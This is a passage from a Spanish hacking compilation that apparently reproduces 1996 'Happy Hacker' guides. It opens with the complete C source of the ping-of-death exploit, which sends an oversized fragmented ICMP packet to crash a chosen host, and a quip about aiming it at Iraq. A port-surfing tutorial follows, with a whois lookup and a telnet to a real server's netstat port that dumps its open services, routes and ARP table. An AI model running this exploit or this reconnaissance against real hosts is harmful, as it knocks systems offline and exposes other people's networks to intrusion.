* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)

* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)

Page 149: El Libro Negro Del Hacker2

149

* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)

* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)

* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)

* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)

* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)

* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)

* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)

* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)

* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)

* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)

* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)

* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)

* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)

* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)

* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)

* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)

* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)

* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)

* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)

* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)

* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)

* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)

* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)

Page 150: El Libro Negro Del Hacker2

150

* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)

* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)

* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)

* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)

* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)

* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)

* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)

* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)

* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)

* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)

* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)

* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)

* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)

* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)

*/

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

Page 151: El Libro Negro Del Hacker2

151

#include <netinet/ip_icmp.h>

/*

* If your kernel doesn't muck with raw packets, #define REALLY_RAW.

* This is probably only Linux.

*/

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

Page 152: El Libro Negro Del Hacker2

152

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

Page 153: El Libro Negro Del Hacker2

153

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

Page 154: El Libro Negro Del Hacker2

154

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

(Fin del mensaje del exploit ping de Fenner.)

NOTA PUEDES IR A LA CÁRCEL: No sólo este hack no es élite, si estás leyendo esto no sabes lo suficiente para evitar ser cazado por llevar a cabo este hack. Por otro lado, si fueras a hacerlo a un host de Internet en Iraq...

Por supuesto hay muchas otras cosas guay que puedes hacer con el ping. Si tienes una cuenta shell, puedes descubrir un montón de cosas acerca del ping dando el comando:

man ping

De hecho, puedes obtener un montón de detalles de cualquier comando de UNIX con "man".

Page 155: El Libro Negro Del Hacker2

155

Diviértete con el ping -- y ¡se bueno! Pero recuerda, no estoy implorando a los genios malignos quiero-ser-hacker que sean buenos. Mira si me preocupo cuando te cazen...

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

GUÍA DEL HACKING (mayormente) INOFENSIVO

Vol. 2 Numero 4

Más introducción al TCP/IP: ¡Surfeo de puertos! ¡Daemons! Como entrar en casi cualquier ordenador sin necesidad de hacer logging y sin romper la ley.

Hace unos pocos días me vino a visitar una amiga. Tiene 42 años y no tiene ordenador. Sin embargo, está tomando clases de ordenadores en un colegio de la comunidad. Quería saber de que va todo esto del hacking. Así que decidí introducirle en lo del surfeo de puertos. Y mientras lo hacía, nos topamos con algo guay.

El surfeo de puertos se aprovecha de la estructura del TCP/IP. Este es el protocolo (conjunto de normas) usado por los ordenadores para hablar entre ellos en Internet. Uno de los principios básicos de UNIX (el sistema operativo más popular de Internet) es el asignar un "puerto" a cada función que un ordenador pueda pedir a otro que lleve a cabo. Ejemplos comunes son el mandar y recibir email, leer los grupos de noticias de Usenet, telnet, transferencia de ficheros, y ofrecer páginas Web.

NOTA PARA NOVATOS #1: Un puerto de ordenador es un lugar donde la información entra o sale del mismo. En el ordenador de tu casa, ejemplos de puertos son tu monitor, que manda información fuera, tu teclado y ratón, que envían información dentro, y tu módem, que envía y recibe información.

Page 156: El Libro Negro Del Hacker2

156

Pero un host de Internet tal como callisto.unm.edu tiene muchos más puertos que un típico ordenador personal. Estos puertos se identifican mediante números. Ahora, estos puertos no son todos físicos, como un teclado o un puerto serie RS232 (para el módem). Son puertos virtuales (software).

Así que si quieres leer una pagina Web, tu browser contacta con el puerto numero 80 y le dice al ordenador que maneja dicha Web que te deje pasar. Y, seguro, que entras en ese servidor Web sin un password.

Bien, buen trato. Eso es bastante común en Internet. Muchos -- la mayoría -- de los ordenadores en Internet te dejaran hacer algunas cosas con ellos sin necesidad de un password.

Sin embargo, la esencia del hacking es hacer cosas que no sean obvias. Eso no saltara a ti de los manuales. Una forma de dar un paso más en la carrera del sufrido usuario de ordenador es aprender como hacer port surfing. Apuesto a que no encontraras nada de port surfing en un manual UNIX.

La esencia del port surfing es pillar un ordenador víctima y explorarlo para ver que puertos están abiertos y que puedes hacer con ellos.

Ahora, si eres un hacker vago puedes usar herramientas en lata para hackers como SATAN o Netcat. Estos son programas que puedes ejecutar en Linux, FreeBSD o Solaris (toda clase de UNIX) desde tu PC. Automáticamente escanean tus ordenadores víctima. Te dirán que puertos están en uso. También probaran estos puertos para la presencia de daemons con fallos de seguridad conocidos, y te dirán cuales son.

NOTA PARA NOVATOS #2: Un daemon no es una clase de duende o gremlin o tío 666. Es un programa que corre en segundo plano en muchos (pero no todos) puertos de sistemas UNIX. Espera a que entres y lo uses. Si encuentras un daemon en un puerto, es probablemente hackeable. Algunas herramientas de hackers te dirán cuales son las características hackeables de los daemons que detecten.

Sin embargo, hay varias razones por las que hacer port surfing manualmente en vez de automáticamente.

1) Aprenderás algo. Probando manualmente percibes una sensación de como se comporta el daemon que corre en dicho puerto. Es la diferencia entre ver una película porno y ...

Page 157: El Libro Negro Del Hacker2

157

2) Puedes impresionar a tus colegas. Si ejecutas una herramienta para hackers como SATAN tus amigos te miraran y dirán, "Macho. Yo puedo ejecutar programas, también". Inmediatamente comprenderán el pequeño sucio secreto del mundo hacker. La mayoría de los exploits hackeables son solo lamers ejecutando programas que pillaron de alguna BBS o site FTP. Pero si metes comandos tecla por tecla tus amigos te verán usando el cerebro. Y tu puedes ayudarles a jugar con daemons, también, y darles una gran ráfaga.

3) Los verdaderos hackers elite hacen port surfing y juegan con los daemons a mano por que es la única manera de descubrir algo nuevo. Hay tan solo unos pocos cientos de hackers -- como mucho -- que descubren nuevas cosas. El resto simplemente ejecutan exploits en lata una y otra vez. Aburrido. Pero el port surfing a mano está en el camino de la cima al hackerdom.

Ahora deja que te diga lo que mi amiga y yo descubrimos mientras estabamos simplemente enredando por ahí.

Primero, decidimos que no queríamos perder nuestro tiempo jugueteando con algún host pequeñito. ¡Hey, vayamos a lo grande!

Así que ¿cómo encuentras un ordenador "gordo" en Internet? Comenzamos con un dominio que consistía en una LAN (red de área local) de PCs corriendo Linux que acababa de conocer, que es usada por el proveedor de Nuevo México:

nmia.com.

NOTA PARA NOVATOS #3: Un dominio es una dirección de Internet. Puedes usarlo para ver quien corre el ordenador usado por el dominio, y también para comprobar como está conectado ese dominio al resto de Internet.

Así que para hacer esto primeramente loggeamos a mi cuenta shell con Southwest Cyberport. Di el comando:

<slug> [66] ->whois nmia.com

New México Internet Access (NMIA-DOM)

2201 Buena Vista SE

Albuquerque, NM 87106

Page 158: El Libro Negro Del Hacker2

158

Domain Name: NMIA.COM

Administrative Contact, Technical Contact, Zone Contact:

Orrell, Stan (SO11) [email protected]

(505) 877-0617

Record last updated on 11-Mar-94.

Record created on 11-Mar-94.

Domain servers in listed order:

NS.NMIA.COM 198.59.166.10

GRANDE.NM.ORG 129.121.1.2

Ahora es una buena apuesta el decir que grande.nm.org está sirviendo a muchos otros host de Internet aparte de nmia.com. Aquí está como hicimos port surfing para comprobar esto:

<slug> [67] ->telnet grande.nm.org 15

Trying 129.121.1.2 ...

Connected to grande.nm.org.

Escape character is '^]'.

TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1

Product License Authorization Expiration Date

---------- ------- ------------- ---------------

Page 159: El Libro Negro Del Hacker2

159

MULTINET Yes A-137-1641 (none)

NFS-CLIENT Yes A-137-113237 (none)

*** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" ***

Device Adapter CSR Address Flags/Vector

------ ------- ----------- ------------

se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE-

MultiNet Active Connections, including servers:

Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State

----- ----- ----- ------------------ ------------------ -----

TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569) ESTABLISHED

TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED

TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED

TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED

TCP 0 0 *(NAMESERVICE) *(*) LISTEN

TCP 0 0 *(TELNET) *(*) LISTEN

TCP 0 0 *(FTP) *(*) LISTEN

TCP 0 0 *(FINGER) *(*) LISTEN

Page 160: El Libro Negro Del Hacker2

160

TCP 0 0 *(NETSTAT) *(*) LISTEN

TCP 0 0 *(SMTP) *(*) LISTEN

TCP 0 0 *(LOGIN) *(*) LISTEN

TCP 0 0 *(SHELL) *(*) LISTEN

TCP 0 0 *(EXEC) *(*) LISTEN

TCP 0 0 *(RPC) *(*) LISTEN

TCP 0 0 *(NETCONTROL) *(*) LISTEN

TCP 0 0 *(SYSTAT) *(*) LISTEN

TCP 0 0 *(CHARGEN) *(*) LISTEN

TCP 0 0 *(DAYTIME) *(*) LISTEN

TCP 0 0 *(TIME) *(*) LISTEN

TCP 0 0 *(ECHO) *(*) LISTEN

TCP 0 0 *(DISCARD) *(*) LISTEN

TCP 0 0 *(PRINTER) *(*) LISTEN

TCP 0 0 *(POP2) *(*) LISTEN

TCP 0 0 *(POP3) *(*) LISTEN

TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN

TCP 0 0 *(KLOGIN) *(*) LISTEN

TCP 0 0 *(KSHELL) *(*) LISTEN

TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED

TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED

TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED

TCP 0 0 *(FS) *(*) LISTEN

Page 161: El Libro Negro Del Hacker2

161

UDP 0 0 *(NAMESERVICE) *(*)

UDP 0 0 127.0.0.1(NAMESERVICE) *(*)

UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*)

UDP 0 0 *(TFTP) *(*)

UDP 0 0 *(BOOTPS) *(*)

UDP 0 0 *(KERBEROS) *(*)

UDP 0 0 127.0.0.1(KERBEROS) *(*)

UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*)

UDP 0 0 *(*) *(*)

UDP 0 0 *(SNMP) *(*)

UDP 0 0 *(RPC) *(*)

UDP 0 0 *(DAYTIME) *(*)

UDP 0 0 *(ECHO) *(*)

UDP 0 0 *(DISCARD) *(*)

UDP 0 0 *(TIME) *(*)

UDP 0 0 *(CHARGEN) *(*)

UDP 0 0 *(TALK) *(*)

UDP 0 0 *(NTALK) *(*)

UDP 0 0 *(1023) *(*)

UDP 0 0 *(XDMCP) *(*)

MultiNet registered RPC programs:

Program Version Protocol Port

Page 162: El Libro Negro Del Hacker2

162

------- ------- -------- ----

PORTMAP 2 TCP 111

PORTMAP 2 UDP 111

MultiNet IP Routing tables:

Destination Gateway Flags Refcnt Use Interface MTU

---------- ---------- ----- ------ ----- --------- ----

198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500

166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500

205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500

204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500

127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136

198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500

192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500

207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500

204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500

194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500

204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500

205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500

202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500

202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500

192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500

Page 163: El Libro Negro Del Hacker2

163

198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500

160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500

202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500

198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500

128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500

160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500

128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500

206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500

128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500

203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500

204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500

130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500

206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500

129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500

204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500

160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500

206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500

163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500

198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500

199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500

203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500

198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500

206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500

Page 164: El Libro Negro Del Hacker2

164

165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006

205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500

198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500

194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500

164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500

0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500

207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500

205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500

204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500

204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500

192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500

204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500

206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500

206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500

207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500

204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500

207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500

204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500

192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500

206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500

204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500

199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500

198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500

Page 165: El Libro Negro Del Hacker2

165

204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500

204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500

129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500

192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500

206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500

207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500

204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500

207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500

204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500

204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500

204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500

192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500

206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500

204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500

198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500

207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500

204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500

192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500

192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500

204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500

204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500

146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500

192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500

Page 166: El Libro Negro Del Hacker2

166

204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500

198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500

192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500

198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500

206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500

192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500

204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500

198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500

206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500

204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500

198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500

198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500

204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500

206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500

206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500

198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500

198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500

192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500

198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500

198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500

192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500

204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500

128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500

Page 167: El Libro Negro Del Hacker2

167

198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500

206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500

206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500

160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500

206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500

205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500

198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500

206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500

198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500

206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500

206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500

204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500

206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500

204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500

206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500

204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500

206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500

198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500

198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500

204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500

206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500

204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500

206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500

Page 168: El Libro Negro Del Hacker2

168

198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500

198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500

198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500

192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500

204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500

198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500

206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500

206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500

198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500

198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500

206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500

206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500

206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500

206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500

206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500

143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500

206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500

205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500

206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500

129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500

204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500

204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500

128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500

Page 169: El Libro Negro Del Hacker2

169

204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500

204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500

206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500

206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500

204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500

206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500

204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500

206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500

204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500

206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500

MultiNet IPX Routing tables:

Destination Gateway Flags Refcnt Use Interface MTU

---------- ---------- ----- ------ ----- --------- ----

MultiNet ARP table:

Host Network Address Ethernet Address Arp Flags

-------------------------------------------- ---------------- ---------

GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary

[UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary

NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary

CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary

[UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary

Page 170: El Libro Negro Del Hacker2

170

LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary

[UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary

BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary

PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary

ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary

AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary

ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary

AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary

[UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary

[UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary

CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary

[UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary

MultiNet Network Interface statistics:

Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis

